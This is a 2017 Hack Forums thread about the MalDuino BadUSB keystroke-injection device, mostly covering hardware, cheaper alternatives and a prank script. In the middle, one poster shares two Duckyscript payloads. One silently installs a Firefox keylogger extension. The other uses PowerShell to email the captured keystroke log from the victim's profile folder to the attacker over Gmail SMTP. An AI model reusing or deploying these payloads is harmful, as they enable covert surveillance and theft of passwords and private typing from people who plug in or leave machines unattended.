

Forum:[Hack Forums](#)

Thread: [MalDuino, a new Rubberducky-like device](#)

McJefferson - April 27, 2017, 12:59 am

Hello guys,

I was wondering if somebody has purchased the Seytonic's Malduino too on indiegogo. I did, and I'm going to write a little review for you when it will arrive to me. Also if somebody is interested we could share MalDuino's scripts in this thread ?

If you don't know what it is... well it's a improved Rubber Ducky, an USB device capable to inject keystrokes like a keyboard. There are two versions, the MalDuino LITE is basically an overpriced arduino platform, but very tiny and apparently good assembled, and works as an HID like most of similar home-built devices already seen on this forum. It's cool that it has a built-in led which shows when it's working, and a little switch which disables it to put it safely in your computer for reprogramming. You'll need to reprogram the platform each time you want to change the payload inside.

Here's a picture of the LITE:

Spoiler ([Click to View](#))

If somebody has bought this versione I'd like to know what he thinks about it.

I purchased the Malduino ELITE, which is quite different. It has a microsd slot and four dip switches: the payloadS (note the plural) must be put directly on the sd card on text format, in a language pretty similar to Duckyscript... almost identical, indeed. No conversion or reprogramming needed: this MalDuino converts Duckyscript to keystrokes directly. You can put 15 payloads in there, and select which one to run through the dip switches. Very clever. Can't wait to test it a bit.

Here's a picture of the Elite

Spoiler ([Click to View](#))

If you want more informations (prices, availability, etc) here's a nice [LINK](#).

Note that I'm absolutely not affiliated with Seytonic and his project, I just want to share some useful knowledge with you. ?

webdev77 - April 27, 2017, 6:55 am

Non-bullshit link: <https://www.indiegogo.com/projects/malduino-badusb-arduino-usb#/>

OP I suggest you change that.

McJefferson - April 27, 2017, 7:26 am

(Apr 27, 2017 06:55 AM)webdev77 Wrote: [\[CITE\]](#) Non-bullshit link:
<https://www.indiegogo.com/projects/malduino-badusb-arduino-usb#/>

OP I suggest you change that.

Ok. Done. ?

McJefferson - May 3, 2017, 8:15 am

While I wait for my malduino to come, I'm writing some stupid payloads ? They still need testing, but they should work, I guess. Here's my first one:

```
Code REM Raise the mixer master volume then
REM fetch a gandalf epic sax guy video
REM and make it fullscreen
DELAY 5000
GUI d
GUI r
DELAY 50
REM Opens volume mixer
STRING %windir%\System32\SndVol
DOWNARROW
ENTER
DELAY 50
REM Mute audio (to prevent suspicious ding sounds)
ALT d
TAB
REM Raise volume
PAGEUP
PAGEUP
PAGEUP
PAGEUP
PAGEUP
PAGEUP
REM Unmute audio
ALT d
ALT F4
GUI r
DELAY 50
REM Fetch Gandalf video
STRING https://www.youtube.com/watch?v=Sagg08DrO5U
ENTER
DELAY 5000
REM Try to select the fullscreen button
TAB
TAB
TAB
TAB
TAB
TAB
TAB
TAB
ENTER
REM Enjoy!
```

pomwtin - May 3, 2017, 3:52 pm

Hehehe nice one McJefferson! I'll use this idea sometimes :)

McJefferson - May 9, 2017, 1:18 am

Let's get things a bit more serious with some keylogging!

This quickly installs a keylogger extension in Firefox (probably undetectable but untested):

Spoiler ([Click to View](#))

Code REM quickly installs Nifty keylogger Firefox extension (credits to dzmanto)

REM by Lord McJefferson

REM don't use this code to harm somebody in any way

DELAY 5000

GUI d

GUI r

DELAY 50

STRING firefox.exe https://addons.mozilla.org/firefox/downloads/latest/kl/addon-471541-latest.xpi

ENTER

DELAY 5000

ALT i

DELAY 1000

ALT F4

And this one is intended to be used later on the same machine to send the log to yourself using email and powershell.

Spoiler ([Click to View](#))

Code REM Sends the Nifty keylogger log through email using powershell

REM by Lord McJefferson

REM don't use this code to harm somebody in any way

GUI d

GUI r

STRING powershell

ENTER

DELAY 1000

STRING \$SMTPServer = 'smtp.gmail.com'

ENTER

STRING \$SMTPInfo = New-Object Net.Mail.SmtpClient(\$SmtpServer, 587)

ENTER

STRING \$SMTPInfo.EnableSsl = \$true

ENTER

STRING \$SMTPInfo.Credentials = New-Object

System.Net.NetworkCredential('A.VALID.GMAIL@GOES.HERE', 'VALIDPASSWORD');

ENTER

STRING \$ReportEmail = New-Object System.Net.Mail.MailMessage

ENTER

STRING \$ReportEmail.From = 'A.VALID.GMAIL@GOES.HERE'

ENTER

STRING \$ReportEmail.To.Add('YOUREMAIL@GOES.HERE')

ENTER

STRING \$ReportEmail.Subject = 'Nifty log'

ENTER

STRING \$ReportEmail.Body = 'Here is the Nifty log you requested.'

ENTER

STRING \$ReportEmail.Attachments.Add('%appdata%\mozilla\firefox\profiles\

TAB

STRING \kltext.txt')

ENTER

STRING \$SMTPInfo.Send(\$ReportEmail)

ENTER

DELAY 3000

STRING exit
ENTER

Both payloads are untested. Use them under your own responsibility. Maybe I'll write one to quickly remove the keylogger too.

SerCoDev - May 12, 2017, 1:43 pm

I bought a 1 dollar alternative. I forgot what it was called but it works amazingly . ill see if i can find it again. i ended up selling it to someone but i have to have the order history somewhere

McJefferson - May 12, 2017, 2:20 pm

(May 12, 2017 01:43 PM)Wo0zrs Wrote: [\[CITE\]](#) I bought a 1 dollar alternative. I forgot what it was called but it works amazingly . ill see if i can find it again. i ended up selling it to someone but i have to have the order history somewhere Digispark or beetleusb, I guess ? both good choices for a very inexpensive cool device ?

Grender - May 14, 2017, 11:47 am

(May 12, 2017 01:43 PM)Wo0zrs Wrote: [\[CITE\]](#) I bought a 1 dollar alternative. I forgot what it was called but it works amazingly . ill see if i can find it again. i ended up selling it to someone but i have to have the order history somewhere
Would love to know the name. ?

Sheeple - May 14, 2017, 4:14 pm

(May 12, 2017 02:20 PM)McJefferson Wrote: [\[CITE\]](#) Digispark or beetleusb, I guess ? both good choices for a very inexpensive cool device ?bought the beetleusb off amazon a week or so ago, haven't done much extensive testing but it seems to be working flawlessly. Got it to open notepad and write Hello World on it ??

ejshadow - May 24, 2017, 3:50 pm

I would call it useless. It doesn't work on Windows 7 so there you go. Most of the pc-s use windows 7 these days and so it will be unfortunately.

McJefferson - May 25, 2017, 5:38 am

(May 24, 2017 03:50 PM)ejshadow Wrote: [\[CITE\]](#) I would call it useless. It doesn't work on Windows 7 so there you go. Most of the pc-s use windows 7 these days and so it will be unfortunately.
Uhmhhh it DOES work on windows 7, 8, 10, MacOS, Linux, and Android. ?

Here's a wallpaper change prank video. The machine runs Windows 10.

<https://www.youtube.com/watch?v=nNDWdmJI6bw> ?

pomwtin - May 25, 2017, 8:43 am

(May 24, 2017 03:50 PM)ejshadow Wrote: [\[CITE\]](#) I would call it useless. It doesn't work on Windows 7 so there you go. Most of the pc-s use windows 7 these days and so it will be unfortunately.
Actually, presenting like HID currently work on all oses.
Sure, a code has to be changed for each os vendor.
If you have troubles getting it to work feel free to ask, do not give up that easily

shiroiza - May 28, 2017, 7:44 am

Whoa, I didn't know MalDuino could do 15 payloads dang. I assume the 16th one would be to reprogram?

Now we just need a wifi module for an extra useful chip

McJefferson - May 30, 2017, 9:01 am

(May 28, 2017 07:44 AM)shiroiza Wrote: [\[CITE\]](#) Whoa, I didn't know MalDuino could do 15 payloads dang. I assume the 16th one would be to reprogram?

Now we just need a wifi module for an extra useful chip

No, i meant to write 16 payloads, it's just a typo. To reprogram it you have to remove the microSD and plug it into a common sdcard reader. Put on the payloads in txt and go.

I'm still waiting for mine to come however...

mi1km4n - May 31, 2017, 8:57 am

Great alternative to the rubber ducky. My wallet thanks you.

Mr.Ransom - June 3, 2017, 7:31 am

im going to purchase a rubber ducky soon always wanted one.

wit - June 3, 2017, 7:59 am

(May 12, 2017 01:43 PM)Wo0zrs Wrote: [\[CITE\]](#) I bought a 1 dollar alternative. I forgot what it was called but it works amazingly . ill see if i can find it again. i ended up selling it to someone but i have to have the order history somewhere

A link would be much appreciated.

pomwtin - June 3, 2017, 4:18 pm

(Jun 3, 2017 07:59 AM)Maslow Wrote: [\[CITE\]](#) A link would be much appreciated.

Digispark. It has attiny85 tho... a bit short on memory but it is big enough for basic scripts

michalmonday - June 5, 2017, 2:12 am

(May 28, 2017 07:44 AM)shiroiza Wrote: [\[CITE\]](#) Now we just need a wifi module for an extra useful chipIt's already made by Seytonic in colaboration with Spacehuhn as far as I know:

<https://www.youtube.com/watch?v=uq8g1-hlruE>

<https://www.youtube.com/watch?v=Utg4C9S3-ul>

There's also the bluetooth one, "Darkwing Duck" made by Amateur Security Research Group:

<https://www.youtube.com/watch?v=oh7TcU3XbuQ>

And another bluetooth one called "supremeDuck" which I developed and no one uses;p

<https://www.youtube.com/watch?v=iL2pS2EvqkY>

All of these are open source